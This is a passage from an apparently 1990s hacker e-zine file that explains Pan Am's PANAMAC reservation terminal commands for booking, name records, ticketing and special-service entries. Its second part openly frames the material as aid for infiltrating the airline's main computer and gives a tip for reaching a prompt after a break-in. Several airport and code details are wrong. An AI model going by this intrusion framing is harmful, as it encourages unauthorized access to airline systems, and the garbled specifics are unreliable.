0745*1 74X DDD0 715 2PA 4 PAJAYABAHA JFKFRA 1800 1215*1 74* DDD1 1015 : : : : : : : : : [and so on...] Rememeber these are "Direct Flights" not connecting Analyzing the first 2 lines: --------------------------- line 1: ------- 18AUG-THU - The date you requested with the day of the week PA HELO FREE - City Pair Message..Consists of general info ALTERNATE SERVICES - Service other than than direct PA is programmed Line 2: ------- 1 - Line number. PMC will display up to six lines of both direct and connecting service beginning with those flights closer to the time required PA - PA is the airline code for Pan Am 72 - Flight number PAJAYABOHA - Indication of classes for eg: P - Premium First Class J - Premuim Clipper Class (wide body aircraft) Y - Mormal Eco Class B - Apex fare H - Bulk Fare A - This indicate that the flight is available 0 - No seats available (ZER0) JFKFRA - This will tell you the departure and the arrival.Only AIRPORT CODES are used. 1830 - Departure time 0745 - Arrival time *1 - This will show when the flight will arrive one day later 74X - [Self explanatory] DDD - Indicates that meals are served if Blank then no meals served 0 - The NUMBER of time the flight will make a stop between the two airports 715 - Elapased flying timw in hours and minutes. Sometimes after the entry of classes one may see "X plus to digits of the week...For eg. "X13 This means that flights operates only on certain days of the week except Mondays & Wednesdays. If blank then flights are everyday. If no specific departure time is indicated by the passenger an availability entry can be made indicating "A" for A.M , "P" for P.M and "N" for noon. eg. >P23FEBNYCAUS --> In this case the Panamac assumes that its 1700 Short selling ------------- Lets say one of the availability display was as follows: 10DEC 4PA 754 JAYA JFKLHR 600 1200 74X S 0 6:00 The departure is from JFK to london's Hethro Airport Now suppose you wanted to book 3 seats on this flight.They would enter as follows: > N3Y4 N - This the abb. for "need" for the Panamac 3 - Number os seats.In our case 3 Y - This is the class (Y in this case) 4 - This tells us the line number of the Display explained above This method of booking seats is called short selling.[Short Sell] incase you ever ever hear it. The Panamac will respond with: 1PA 754 Y 10DEC JFKLHR HS3 600 1200 1 - This represents the numbers of flights the sales agent has booked PA - The 2 letter code for Pan Am 754 - Is obviosly the flight # Y - The class 10DEC - The date of departure from NYC JFKLHR - Flight going from Newyork City to London HS3 - (H)ave (S)old three seats confirmed 600 1200 - the the departure and arrival time Connecting Flights: ------------------- Many times a passenger travels from point of origin to final destination by connecting from one flight to another at an intermediate point or points This will be a single connection wehn only one point (City) is involved and there is also a concept of "double connection" ... This obviously means that the person changes flights at 2 cities. While viewing the display a typical connecting flight would look like this 5PA 120 PAJAYABAHA 1DEC [ ]LON 600 1200 75X LLL0 600 400 It is a clearly visible that this is a connecting flight because we have the elapsed time (600) and the total elapsed time of connecting service from origin city to its destination (400)...Simple enough huh ? Short selling is also done in this case. Format used: [ N ][# SEATS][CLASS][FROM A DISPLAY LINE][ITS CLASS][FROM LINE] How to display a particular flight: ----------------------------------- Assume that you have the following flight on an availability display 01JAN-FRI- 1PM 90 PAJAYABOHA LAXZRH 1030 0930*1 74X 2 1515 Suppose you make a reservation on flight 90, the 01JAN and want to ask the sales agent where the flights stops en-route and what day the flight arrives. This is what he/she will enter into PANAMAC... >S PA 90 / 01JAN LAX S - Code for schedule PA90 - Carrier code & flight number / - A slash as a separator 01JAN - Departure date from boardpoint LAX - is the broad point.The three letter airport code Output will be: SPA90/1JANLAX LAX JFK ZRH STR TXL 1839 0930*1 1210*1 1400 1030 2015 1135*1 1255*1 Flight 90 departs Los Angeles (LAX) at 1030 and arrives New York (JFK) at 1839,leave New York at 2015, arrives Zurich at 0930 the next day because the (*1) indicate it then leaves Zurich at 1135 that morning arrives in Stuttgart (STR) 1200 ... and so on. . Retrieving Itinerary -------------------- It is sometimes necessary to view the booking. This is done by using the "*" key on the right top of the keyboard.(THE DISPLAY KEY) Then type in "I" for itinerary. >* I Response will look something like this: 1 PA 90 P 13DEC JFKFRA HS3 600 1200 2 PA 95 Y 15DEC JFKFRA HS3 700 1300 [and so on ....] Cancelation : ----------- To cancel the booking in line 2 from above example enter: >X 2 This will cancel the second segment. The Panamac assumes that the flight cancelled is going to be replace by another..so therefore the next flight one books will become the second segment automatically. Response: NEXT REPLACES 2 FLT SEG RELATED FACTS HAS BEEN CANCELED To cancel multiple itinerary just enter Function Key "XITN" Response: ITIN CNLD Alternate Method: Segment Entries --------------------------------- Sometimes the display is not necessary if you know the flight number, Origin - Destination ,CLASS, date, # of seats.This is done by entering whats called a "Flight Segment"...so if the flight is available then Panamac will confirm the seats to you. The "0" key on the keyboard is the "SEG" key. For example if you wanted to book 4 seats from Newyork (JFK) to London's Hethrow Airportt(LHR) in Premium First Class (P) on 3rd July FLIGHT 90 The sales agent would enter: >0 PA 90 P 3JUL JFKLHR NN4 The "0" is the SEGment Identifier.The NN4 means you need 4 seats. Erasing all Flights booked: --------------------------- To ignore all flights booked.The sales agent would enter the IGNORE TRASACTION Function Key.This is the key displayed as "IGN".The key is located fifth from the right side of the function keys. >I response: ALL TRANSACTIONS IGNORED Part IV ------- Single Connections: ------------------ One has to understand in this that sometimes direct connections are not available and therefore a second location must be used. There are also second degree connection(also known as double connections) In this example, an availability request between LAX(los Angeles) and JFK (John F. Kennedy N.Y) requires a connection at a single city. It would look like this: >A 20APR LAXJFK P [This is just an eg. In reality there is a connection] Output: SVC NOT AVAILABLE IN THE SYSTEM %2 or #2 This response obviosly means that there is no connection going between these two points.But after that you may get a percent followed by the month or a number sign followed by the year. This (%) means that the service is going to be offered in 2 months in this case or same applys for the year which is the (#). Therefore the agents have to know how to connect flights. They do supply them a connection availablity chart on the side. So lets say (just as an eg.) that there is a direct connection from the airport in San Francisco(abb. SAN) to JFK and theres also a connection between SAN to LAX.Then obviously SAN is used as a connecting airport.Therefore the agent would enter: >A 20APR LAXJFK P / 1 SAN 100 / 1 A 20APR LAXJFK P - This is a regular entry[See above for more on it] / - This slash has to be be there a separator(compulsory).Also shows connection is to be made somewhere 1 - O.k this will be different as in 3 cases below: 1 - When you are sure that Pan am operates that particular route. 2 - When sure that Pan am does not travel that route or 3 - When not sure which one travels that route. SAN - This is the first connector. 100 - Minimum connection time allowed at the airport. / - Second slash as a separator also compulsory 1 - This entry is for the airline you are connecting to in this case its Pan Am.Use the third entry chart provided in the above eg. Second Degree Connection[DOUBLE CONNECTIONS]: ------------------------------------------- All one must do in this case is just add the another connection after the single connection in the same form.So therefore in the above case if one wants to go from LAX to JFK .He would have to go from: LAX --> SAN -->[another connector airport] --> final destination JFK -------------------------------------------------------------------- NOTE: PANAMAC cannot construct connections at a city if it entails connections bettween different airports, i.e it cannot construct a connection if the arrival is not LaGuardia(LGA) and departures is from JFK or arrive at CDG and depart ORY .....Just imagine the havok it would create if one could do that ? Flight Information: ------------------ PANAMAC provides the capability to display Flight/Arrival Departure Info more commonly known as "FLIFO".FLIFO may be requested from the entire sequence or for the selected broadpoint in an entry: For example: >2 PA 50 F 2APR MCO 2 - This is the FLIFO action code PA 50 - is the flight number F - This is the letter used for request departure/arrival info from selected city. 2 APR - The date of the departure. MCO - is the broad point Output will be: 2 PA50F 2APR MCO /MCO OFF 1529 MIA IN 1611 AN ON TIME ARRIVAL /MIA OFF 1847 LHR IN 0733 This first entry would read as follows: Pan Am flight PA 50 departed at 1529 from MIA and arrived at 1611 - Will indicate on time and so on. To request FLIFO for a selected broad point, Enter 2 PA50 A 4DEC LHR A - This is the request for ARRIVAL/DEPARTURE info at the city in entry 4 DEC - The arrival date LHR - London Hethro Airport which is the arrival city. Output: 2 PA50 A 4DEC LHR /MIA OFF 1847 IN 0733 /LHR OFF 1150 FBU IN 1488 Part V ------ Open Flights: ------------- Often people who are not sure (or not stable:=)) will keep there flight open. This has to be instructed into the Panamac. Suppose the agent has made an entry of: >1 PA 56 P 19APR LAXJFK HS1 1200 1600 The HS1 means that he has booked 1 seat as explained above also. Here in the example the passenger wants a round trip ticket first class an "open" return.Therefore it would be: >0 PA 56 P JFKLAX QQ1 0 - Is the segment id (actually for the open) PA - the ailine code 56 - is the flight number P - is the class QQ1 - This is the action code.Compulsory for the open flight booking Response: 2 PA 56 P JFKLAX QQ1 This has actaully booked a round trip ticket from JFK - LAX "Open" Schedule Displays: ------------------ Sometimes it is necessary to display which airlines fly a particular route when not sure. Suppose the agent wanted to find out the all the airline that travel at a particular date from LAX to JFK then the entry would be: >S 19APR LAXJFK A S - Entry for the (S)chedule 19APR - Date LAXJFK - Self exp. A - Time ,here A.M (could be also P for P.M or N for noon) Output: 19APR-SUN- 1TW 747 FYBQM LAXJFK 1200 1400 73S 0 111 etc... etc... In cases where theres is service only once or twice a week between 2 cities, you might have to make more than one entry to request a schedule display. Eg: >S 1APR LHRSAN (Do not enter time because you want 24 <--day-->24 explained later) Output: NO MORE FOR DISPLAY LHRSAN o.k this mean that there is no service between these 2 points on the day requested.O.k the PANAMAC scans this 24 hours before and 24 hours after the date and time.This means that it has already scanned 3 days.So the next entry would be: >S 3FEB LHRSAN But if there is no flight offered between the 2 points then the system would reply: SVC NOT IN SYS Arrival not Known(ARNK) ----------------------- Suppose a passenger was flying from LAX to JFK then he/she decides to take a bus from JFK to maybe CVA (Cincinati) then from there return to LAX. This would be considered "Arrival Not Known" (ARNK). Lets say a passenger booked a flight from LAX to JFK 1 PA 747 Y 10APR LAXJFK HS3 1200 1600 His route from JFK to CVA is not known. Therefore this will require the ARNK function key. The entry would be: >0 A (or the ARNK function key) Output: 2 ARNK Then lets assume that you have booked a return flight from CVA back to LAX then if you list your Itinerary it would look like: 1 PA 747 Y 10APR LAXJFK HS3 1200 1600 2 ARNK 3 PA 745 Y 20APR CVALAX HS3 1700 2100 Inserting Segment Entries: -------------------------- Mant times its necessary to Insert Segment while booking flights. Suppose a person is flying from Albany (ALB) to Miami (MIA) and back. His segment would look like: 1 PA 747 B 5ARP ALBMIA HS1 100 445 2 PA 747 B 10APR MIAALB HS1 1200 1545 Here the passenger is sure that he will return back to ALB on the 10 of APR no matter what. Now he may proceed to book the rest of the mid flight he wishes to take. So therefore after landing in Miami he wishes to fly to Orlando.Its airport code is MCO for Mc Coy Int. Now the sales agent has to make insert a segment after the first one. Here is how it done: >/ 1 [ Means Insert after segment #1] / - Symbol used to specify "Insert After Segment" Use the "/" or "IAS" key 1 - The Segment #. The Panamac will respond with " NEXT FOLLOWS 1 ". This indicates that your next entry will be after 1. After Inserting segments a "*I" is necessary to renumber the segs. Also if you want to insert a segment before 1 then enter (/ 0). Part VI ------- Inputing Name Entries: ---------------------- After the flights have been booked the second part is to input all the names of the persons who are travelling. O.k lets say 3 people were travelling together (Tom,Bill,Cathy and assuming that their family name is Doe) The entry that is made into the Panamac would be as follows: > -4 DOE / BILL MR / CATHY MRS / TOM MSTR " - " - The name entries has to start with a dash. 3 - Is the number of people travelling DOE - Family name / - slashes are compulsory to separate names BILL MR - bill first name and Mr. is self exp etc.. **Note SPACING IS NOT NEEDED ** The good thing about the Panamac is that the agent can assign up to 17 titles to person which are aleardy hard core programmed: COL. GEN. DR. LCDR. CPT. LTCOL. MR. MRS. MS. STR. MISS. LT. SGT. ADM. MAJ. REV. CDR. Yes Pan Am carries more military personnel than anyother airlines which by the way is a true fact. All other titles are just spelled out. The name entries are counted after the first "/" for the NN3 in our case. ( NN3 as mentioned above means Needed 3) However there is an easy to do this by using the "End Item" key which comes out on the screen as an equal sign with a vertical bar across it. Its just like the IBM ACII VALUE 216. Therefore intread of entering () the agent would just use this key and continue his/her entries for eg: Use "!" at home. >-1SMITHS/JOHN MR @-1JOHNSON./CATHY MRS The "@" represents the "End Item" Key only in our case. Infant Names: ------------- O.k Infant names are not booked into the Panamac but only entered. Infant entries are ignored by stating it.This is done by entering a "I/". Then the # of the Infant eg. >-I / 1 JOHNSON / TWEETY MISS Item Number / Passenger Number : -------------------------------- Every persons are assigned an Item and Passenger number. Well it would be more correct to say passengers. Lets look at this entry: -2SMITH/TOMMR/KATHYMS@-3JOHNSONS/DAVEMR/MICHELLEMS/JODYMRS Now to display the name field the agent would enter "*N" Output: 1.2SMITH/TOMMR/KATHYMS 3.3JOHNSONS/DAVEMR/MICHELLEMS/JODYMRS Here 1.2 means - 1 is the Item Number assigned and 2 is the number of the passengers etc. There is a reason why the Item numbers is not consecutive. Its because there are 2 names in the first entry then obviously 3 follows as the next item number . Also in this case the infant entries are also assigned a number. Changing name entries: ---------------------- Sometimes its necessary to change names in the entries.This is done by the "Change" key then just retyping the whole entry example: 1.2SMITHS/JOHBMR/MARYMRS To chnage "Johb" to "John" the agent would enter: -1 (Change key) 2SMITHS/JOHNMR/MARYMRS Deleting entries is very simple.All the agent has to do is enter the Item # and the Change Symbol (By the way the change symbol looks a square and diagonals crossed in it.) and then press enter. From home you may use the "*" and will work the same. So how does one delete one name from the an entry. That question I will leave up to you guys to figure out.(Hint: Use the Passenger number) Inserting entries can be done in almost the same way by entering the passenger number then the entry eg: >-/1 -SMITH/CATMR The first slash means "Enter after"..In our case the passenger #1. Part VII -------- Completing the Passenger Name & Record (PNR): --------------------------------------------- The whole booking is not yet complete. The sales agent still have to fill three important entries to complete the PNR.These are: 1) By who was the booking RECEIVED(passenger,militaty,T.agency,Company etc.) 2) The TELEPHONE abb. output is "FONE" 3) When the TICKETS will be issued 4) Remarks 5) The age of child if there's one travelling The first three are mandatory to complete the PNR. Numbers 4 & 5 are optional but the agents are encouraged to fill them out just for the records. lets take a looks at the three mandatory ones. This article wont go over the optional ones. RECIEVED: --------- This field as stated clearly above identifies the party who made the booking. The characters cannot exceed over 19.The entry should always begin with a "6".This hardcored to interpret the recieved entry.Then comes the name of the person. For example: >6 MR DAVIS The title always has to come first in case unlike inputing name entries. Lets say if Mr. Davis worked for the American Travel Agency.Then the entry is specified as follows: >6 MR DAVIS/AMERICANTR To Display the Passenger Data - Use "* P" And the Output of the Eg. above would look like: RCVD/RLOC-MR DAVIS/AMERICANTR RCVD - Received RLOC - Record Locater and then the name. Changing these entries is done by the CHANGE key using the same principal of changing name entries.In this case use the field "6" then input change symbol then retype the name. TELEPHONE: ---------- The harcored field used here is "9" not "6". This information is entered by first typing a 9 then the "Source Of Booking" (SOB) [See table provided for this entry] Then a mandatory "*" sign. The SOB relates to the 6th field as we will see. Then comes the Phone number. If a passenger (D) booked a flight the letter "H" for Home or "B" is followed by the telephone number and if its an agency/commercial/Interline then the name is used. S.O.B Table: ------------ Direct (Passenger) - 9 D * Military - 9 G * Government - 9 G * Commercial - 9 C * Travel Agent - 9 A * Interline - 9 I * Lets say you booked a flight and your phone number was 7185551234 and that was your business number, the Entry made would be: >9 D * 718/5551234 B If the "*P" is invoked then it would display : RCVD/RLOC -MR DAVIS FONE-NYC-A 718/5551234 B The "FONE" serves to indicate the Telephone field. The the NYC has nothing to do with the NPA of the passengers phone number but it indicates the city location of the Panamac set where the booking was made. The "A" after the NYC is taken from the S.O.B table. Passenger Relating: ------------------- The first entry in the FONE field always belongs to the person/company/ Travel agency etc in the RCVD field. You can enter additional phone numbers using the same format as the first FONE entry. On additional entries,you must specify which passenger or passengers the phone number is for. This is done by including in the FONE entry the PASSENGERS NAME NUMBER of the person(s) who can be reached at that phone. This proccess is called PASSENGER RELATING Lets say we have the entry: 1.2SMITH/JOHNMR/MARYMRS 1 PA 56 B 19APR JFKLAX HS2 600 1000 RCVD/RLOC-AMERICAN TR. AGENCY FONE-NYC-A 718/555-1234 H The Smiths, John & Mary have the same home fone number.Therefore passenger 1-2 have the same #s.This has to be specified into the PANAMAC by: >9 1-2 A* 718/555-4321 H To display NAME,ITINENARY,RCVD AND FONE at the same time enter: >*R (Record) Output: 1.2/SMITH/JOHNMR/MARY COL 1 PA 56 B 19APR JFKLAX HS2 600 1000 RCVD/RLOC-AMERICAN TR. AGENCY FONE-NYC-A 718/555-1234 American Tr.Agency 2.1-2 NYC-A 718/555-4321 H etc... Changing entries is a simple task. Lets assume the sales agent wants to change the first FONE entry which is for the Travel Agency.The command would be: >9 1 (Change Symbol) A* [FONE number & and the name of the agency] 9 - fone entry 1 - First entry.(2.)would be the second FONE entry which is the Passenger home fone number.( If there was a third entry it would start with (3.) and so on.. A* - From SOB Deletion of the entries I will leave you to figure out. Address Entries & Payment: -------------------------- The Address entries and the form of payment are included in FONE entry as well. This was the Info is stored in the PNR until the time of ticketing. Address: [Use same format] >9 1-2 C* 42-95 ELM STREET / FLUSHING N.Y 10011 Payment: >9 D * AX 1234 567 11111 EXP 9/90 MR DAN DAVIS Ticket Entries: --------------- The Entries in the Ticketing field tell us if the passengers already has a ticket or when and how its going to be issued.(Mail etc.) or when its going to be cancelled.A ticketing code is issued for these situations: Ticket Codez ------------ W - Here ticket will be issued on the date entered. Passenger will pick it up on that date. U - The ticket is mailed here(TBM) on date entered Q - Here the ticket will be given by the travel agency on date entered O - Ticketed The field used here is "7" hardcored for Ticketing purposes. Typical entry: >7 W APR19 Usually one day after is added to APR19 so that passenger has the whole day to purchase the ticket. The entry then would look like: >7 W APR20 * APR 19 The "*" is mandatory. Mailing: ------- Lets look at an example of TBM: >7 U 19ARP * CK FOR CHECK This is entered when waiting for the passengers check to arrive. On 19APR its checked for arrival. If arrived then the tickets are mailed. If check is not received then tickets are not mailed. If the payment is made by a Credit Card then entry is: >7 U 19APR * CC This agent will refer to the fone field where the CC info is stored. Here the ticket is mailed on the date issued. Outside U.S travel agencies are given a Ticket Time Limit. The entry is: >7 Q 5MAY When showing PNR ticketed with the letter "O". Its not necessary to enter a date, as the Panamac already enters it that the reservation is being ticketed Enter: >7 O [assume that the date today is 5may] PANAMAC will display: TKT-O 17APR NYC 000 [SINE OF THE AGENT WHO MADE THE ENTRY] TKT-O - IS THE TICKET CODE 17APR - TODAYS DATE MYC - PANAMAC SET LOCATION 000 - SEPARATOR [ ] - SINE OF THE AGENT If all passengers are having thier tickets issued at the same time and place, passenger relating is not necessary. But, if the passengers have different dates or ticketing arrangements then the entries must be made separately and Passenger Name Related. For eg. Assume there are 3 passengers on the PNR. Passenger 1 and 2 will call for their tickets at the Pan Am office and June 3. Passenger 3 wants his ticket mailed on June 6 and will pay by personal check. The entries are: >7 1-2 W 3JUN >7 3 U 6JUN * CK FOR CHECK Output: TKT-1-2 W03JUNNYC000[SINE OF AGENT] 2.3 U0JUNNYC000[SINE OF AGENT] CK FOR CHECK Here the 1-2 is the first entry related to the passengers 1 & 2 and 2.3 is the second entry related to passenger 3 NYC - location of P.set Change/Delete : --------------- Suppose the display for the ticket field was: TKT-W08APRLAX000BS Here the ticket will be issued on the 8th of APR. The Panamac set is located in LAX(Los Angeles). Also after the sepater (000), the BS is just an example of a SINE of the agent. Lets assume today is 7th of APR and the passenger has come to pick it up. The agent has to instruct the PANAMAC that its TICKETED. Therefore he/she would enter : >7 1 (Change Symbol) O Here: 7 - This is the field of the ticketing 1 - is the entry number O - New Information One has to remember that if changing related TKT entry then just enter Passenger Name number after the Change Symbol. Then the new Inforamtion. It may look like "7 1 (Change Symb.) 1-2 W 19APR" To delete an entry just enter Field , Entry # then the Change Symb. End Trasaction:(ET) ------------------- The PNR is now complete. After completing it the agent must End Transaction (ET).This key is located as one of the function keys. >ET Output: A OK 4SW#32G The 4SW#32G is called the RAD NUMBER or RECORD LOCATER or PNR ADDRESS. After Ending Trasaction the PANAMAC will send a message to all the airline in the Itinenary advising them of the flights the agents have booked/requested and name of passenger. SHELL PNRS ---------- Some records like travel agencie's accounts, corporate accounts and thier FT number, Tel #, Address etc. have to be stored permanently in the PNR. Therefore Panamac has what called SHELL PNRs. Here file will become a permanent and reusable record. A shell PNR can be retrieved by the account number, Telephone number and ARC (Airline Reporting Corporation) or IATA(International Air Transport Association). The ARC/IATA use last 5 Digits numeric plus check digit The entry to display a shell PNR before beginning normal PNR creation begins with the letters "RP" then a "*" then comes the Account Number. Example: >RP*7183589901 Ouput would be: NYC PA A QH 24FEB88 2034 NO NAMES NO ITIN FONE-NYC-A 718/358-9901/*ARC 413453 2.NYC-A AMERICAN TKT-024FEBNYC000BS DKIR RMARS-* The Itinenary may now be booked and the PNR completed as usual. Shell PNRs may also be retrieved using the following entries: ARC/ATC # - RP*ATC494340 [use last 5 numbers numeric plus check digit] IATA # - RP*ITA945934 [Also use last 5 numeric plus D.C] Account Code Number - RP*ACN7734 (In some countries only] Shell PNRs can be merged with PNRs by just entering a "M" after the RP. Retreiving a PNR: ----------------- After the sales agent completes a PNR. It is sent to the Master Computer at Rockleigh,N.J. To retreive a PNR , enter "*" and the PNR ADDRESS or by using the flight,date and boarding off and on points and name of passenger eg: >* PA 56/10AUG MIANYC - DAVIS The hyphen is mandatory here. The Panamac's output will be: PA56/10AUG MIANYC - DAVIS 01 3DAVIS/TOMMR/CATHYMRS/FIFIMS 02 1DAVIDSON/SHASHI : etc : To retrieve the entries just choose the line number then enter: >*2 The "*" has to be there or errors will ocurr. [No comand probably] Anyway the "*2" will give you the account for Davidson. To cancel a PNR you retrive just enter the "IXTN" in the fuction keys. END OF PART A ------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume #2: Phile #6 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= /X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X X / / The Pan Am Airline Computers (c)1994 "PART B" X X --------------------------------------------- / / X X By Red Knight / / X X A P/HUN Magazine Incorporation Productions / / X X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/ Introduction & clearing up a confusion -------------------------------------- Welcome to Part B of "The Pan-Am Airline Computers". I hope you have found the first part intresting. I would like to take this opportunity in clearing up a minor confusion that some of you may have while reading the first part of this file. There are 2 types of systems I talk about in the first part which are: o Pan-Am main computer & o The Panamac or PANAMAC The Pan-Am main computer is used to store and view performance of the entire network. Pan American has 3 main computer systems to serve the surrounding states. These are located in Florida, Washington and NewJersey. There may exsist one in California but we dont have enough proof to be sure.Although they may have smaller terminals connected to these 3 major terminals and all the material that is covered here also applies for these smaller terminals. The Panamac are computers that are used by sales agents to book flights, give information and the works. Although the Pan-Am main computer can also handle all the tasks that the PANAMAC can. Here is what the the Pan Am network looks like: Example of a simplified Pan Am Network -------------------------------------- Cartridge & The Panamacs will be in the same building. Like the major Pan Am building in Manhatten in Newyork. _____________________________________________ Sub Terminals | | | +------ & Other +---- Panamac +-------|-+ airlines ______________ |---- Panamac | Pan-Am | +----------+ + + |---- Panamac Sales Agents | main |--| Sub |--|Cartridge Area|---|---- Panamac on each terminal | computer| | Terminal | +______________+ |---- Panamac +---------+ +----------+ |---- Panamac | |______________ +---- Panamac Sub Terminal Other Agencies The cartridge area is where they insert physical cartridges for new rates of travelling, new routes , cancellation of rountes etc. The Panamac uses all this information supplied by the cartridge area so that the Sales agents can answer our various questions and book us flights. The cartridge area contains the main program for the Panamac's to run. All the information from the cartridge area is passed to the sub terminal then to the main computer The surrounding states may connect to one or many sub terminals then finally leading to the main computer. Our main purpose here is to infiltrate the main computer where all the information is stored and has control over the entire network that it serves. I have heard from employees that Pan-Am has the latest on ANI equipment and therefore please proceed with caution. Another thing is that when you have successfully hacked the system and you dont get the SOM ">" prompt then type in ">SOMTERM" and hopefully you will end up with the SOM. I hope this has cleared the confusion and now lets continue. Part VIII --------- Host Facts ---------- The Host facts field contains 2 types of entries: Other Service Information (OSI) entries which give information about passenger so that they can be offered proper assistance or recognition. A passengers speaks (SPKS) only a language other than English or Meet and assist (MAAS) and this passenger is elderly and needs assistance. Into the OSI goes anything pertinent from age to language, that they should know in order to talk to the passwngers as an individual. All the entries in the FAX field begin with digit 4. The code "PA" os used to send message to Pan Am only, This special information is entered as follows: >4 OSI PA_MAAS PSGR ELDERLY ASSIT IN TRANSIT A space is madatory only after PA then free form test is permitted. OSI information will be transmitted to the airport so that the appropriate action may be taken. In addition, special 4 chracter codes are to be used if the OSI details are to be taken transmitted directly to the airport check system. >4 OSI PA SPKS SPANISH ONLY >4 OSI PA FRTV PA62634678J-STARK/AMR If the passenger's description does not match one of the codes listed in the system enter the information as free form test after the "PA" For eg. >4 OSI OA VIP MAYOR OF N.Y In addition there is a special format to indicate that a passenger is an infant (INF) which include the age indicated in months (1yr=12MTS) For eg. >4 OSI PA INF DAVIDSON/JR MSTR 5MTHS Note: If there are two or more infants traveling, seperate OSI entries must be made for each other Part IX -------- Special Service Requirements (SSR) entries which require prior arrangements for something special to be provided to the passenger at the airport or on the plane. Entries in this category arrange for a specific item. (e.g. special meal) to be provided on a flight for the passenger, or to advice the Airport the passenger is traveling with something which may require advance preparation: e.g a large pet in cargo or a large amount of excess baggage. Since we are requesting that a specific items be provided (e.g special meal be put on the flight), the entry is made with an action code. At the same time, the entry is related to a specific segment(s) in an intinenary and to a particular passenger name(s) in the PNR. We need to look at an example. Here is a PNR: 1.1 SHAH/BUPENDRA 2.1EZRA/AMR 1 PA 66 P 19APR JFKBOM HS2 2145 0015 RCVD/RLOC-MR SHAH FONE-NYC-D 212/555/1234/H TKT-026FEBNYC00020 Mr. Shah wants a vegetarian meal. Here is the entry: >4 A VGML FS1 S1 N1 Lets break this down: 4 - 4 field A - Means add SCR VGML - Vegetarian meal code FS1 - Action Code (free sell ) + Number requested. S1 - Related to Segment 1 N1 - Related to Name number 1 Look at this PNR carefully. The entry relates the special meal in this case vegetarian to the first segment (S1) and to the first passenger, Mr. Shah, who is name number 1 (N1). When re-displayed, the HA FAX field appears as follows: HA FAX-SSRVGML.PAHS01 PA0066P19APRJFKBOM 1SHAH/BUPENDER Information about Pan Am policy and procedures governing some SSR entries can be found in KISSR. Here is a display of the index: SSR STATION INFORMATION INDEX BASSINETS B SPECIAL MEALS S WHEELCHAIRS W In the KISSR you will find description and codes for all special meals and facts about the current meal and wheelchair policy. Not all SSR items may be freely sold (FS). The R.M describes the procedure for requesting (needing) special service requirements. For example, request (NN) on: Special meals within 8 hours of departure or Excess baggage over 150 kilos (350 lbs) Looks at this example: Mr. C. Tuc in addition to his free allowance has baggage which will weigh about 175 Kkilos. The entry will be: >4A XBAG NN 175KGS S1 N2 . RECORDING EQUIPMENT XBAG - This is the excess baggage code NN - Action code 175KGS - Weight in Kilos S1 - Segment number N2 - Name number 2 . - This separator which is compulsory RECORDING EUIPMENT - Text In this case there is also a description of the excess baggage. The description or text is mandatory for this entry. The period(.) which acts as a separator preceeds the text. All SSR entries regarding excess baggage must include a text and may relate to only one passenger When redisplayed, the HA FAX field now apprears follows: HA FAX 1.SSRVGMLPAGS01 PA0066P19APRJFKBOM 1 SHAH/RMR 2.SSRKSMLPAHSO1 PA0066P19APRJFKBOM 1 TUC/AMR 3.SSRXBAGPANN0175KG PA0066P19APRJFKBOM 1 TUC/AMR RECORDING EQUIPMENT SSR Name relating ----------------- In from of each name is a name item number. You already know that PANAMAC assigns numbers for each different surname in a PNR. Also, each passenger has a passenger name number. In the FACTS example so far, the item number and the passenger name number were the same. A B C 1. 1AOKI/LSMRS 2. 1YAMADA/YRMRS 3. I/1YAMADA/GLENMSTR 1,2,3 are Name Item NBR & the A,B,C are passenger name numbers When you relate an SSR fact, your entry really refered to the name item i.e N2 refers to all the passengers in name item 2 (in this case only Mrs. Yamada) If however the entire Yamada family had been travelling together as in the following example the name item include more than one name: 1.1AOKI/LSMRS 2.3YAMADA/GOMR/YRMRS/LAMISS 5.1/1YAMADA/GLENMSTR 1 PA 82 Y 16 NOV HNLAX HS4 2300 0604 1 PA 81 Y 28 NOV LAXHNL HS4 1300 1702 If you SSR entry showed name relation to name N2, then the request would be for all the passengers in NAME ITEM 2... Mr/Mrs/Miss Yamada/ To show a special request for only one passenger in a name item, use a slash (/) after the name number. The slash acts to "separate" an individual passenger from the name item may which may include multiple passenger. For example: Mrs Yamada is name NBR 3. To confirm a baby meal on both flights the entry would be: >4A BBML FS1 S1/2 N3/ The N3 indicates the name number only Change/Delete/Cancel -------------------- If you are in the process of making an SSR entry and you have ended the transaction, no action has yet been taken on the request, You can therefore delete the entry. For example >4 3 [change symbol] You on the other hand while at home can user "*" which works the same way. The 4 is the field, the 3 is the Fact ITEM number . You cannot modify an SSR entry to correct it. If your entry is incorrect, you must delete the entry and reenter the correct SSR fact itme. In all instance, whether working on a new or retrieved PNR, cancellation of an itinenary segement will automatically cancel the related SSR item. For e.g. you have booked: 1.1BROWN/HARRYMR 2.1TOBAR/EMILEMR 1 PA 100 Y 13NOV JFKLHR HS2 1000 2140 Before ending transaction you notice you accidentally confirmed the wrong date. After cancellation of the incorrect segment, the HA FAX SSR item will look like this: HA FAX 1.SSRKSMLPA(XX)02 PA0100Y13NOVJFKLHR 1BROWN/HARRYMR 1 TOBAR/EMILEMR Cancelled SSR entries will automatically be removed from the PNR when you End Trasaction. Now you would rebook the correct flight and the Kosher meals. Part X ------ Other Airlines...General Facts ------------------------------ The GFAX or the General Facts, 3 filed contains the same (2) types of entries as the Host Fax...OSI and SSR..Entries in the GFAX are included to outgoing messages to other airlines upon ending trasaction. When an itinerary includes space on another airlines, you must use the GFAX field to notify the other airline about the special requirements or service information. All entries in GFAX befin with the digit 3. To send "OSI" information to one (1) other airlines, use the applicable carrier code. For instance, if the passenger is an infant travelling on PA and AF, you notify Air France that you booked an infant by sending an OSI message. The entry is: >3 OSI AF INF JONES/MARK MSTR 5 MTS This is in addition to an OSI entry in the 4 field to notify Pan Am at the airport, Thus 2 entries with the same information are required. >4 OSI PA INF JONES/MARK MSTR 5 MTS If a passenger's itinenary include more than one other airline, use the letters "YY" as the carrier code and make only one GFAX entry. A "YY" will send the information to all the airlines in the itinerary. >3 OS1 YY INF JONES/MARK MSTR 9 MTS Change/Delete ------------- The input to delete an OSI in the GFAX filed is the same as in HFAX. >3 1 (change symbol) To change an OSI entry in the GFAX field the format is the same. You delete, then reenter the correct information. >3 OSI AF.... (NEW INFO) GFAX SSR Entries: 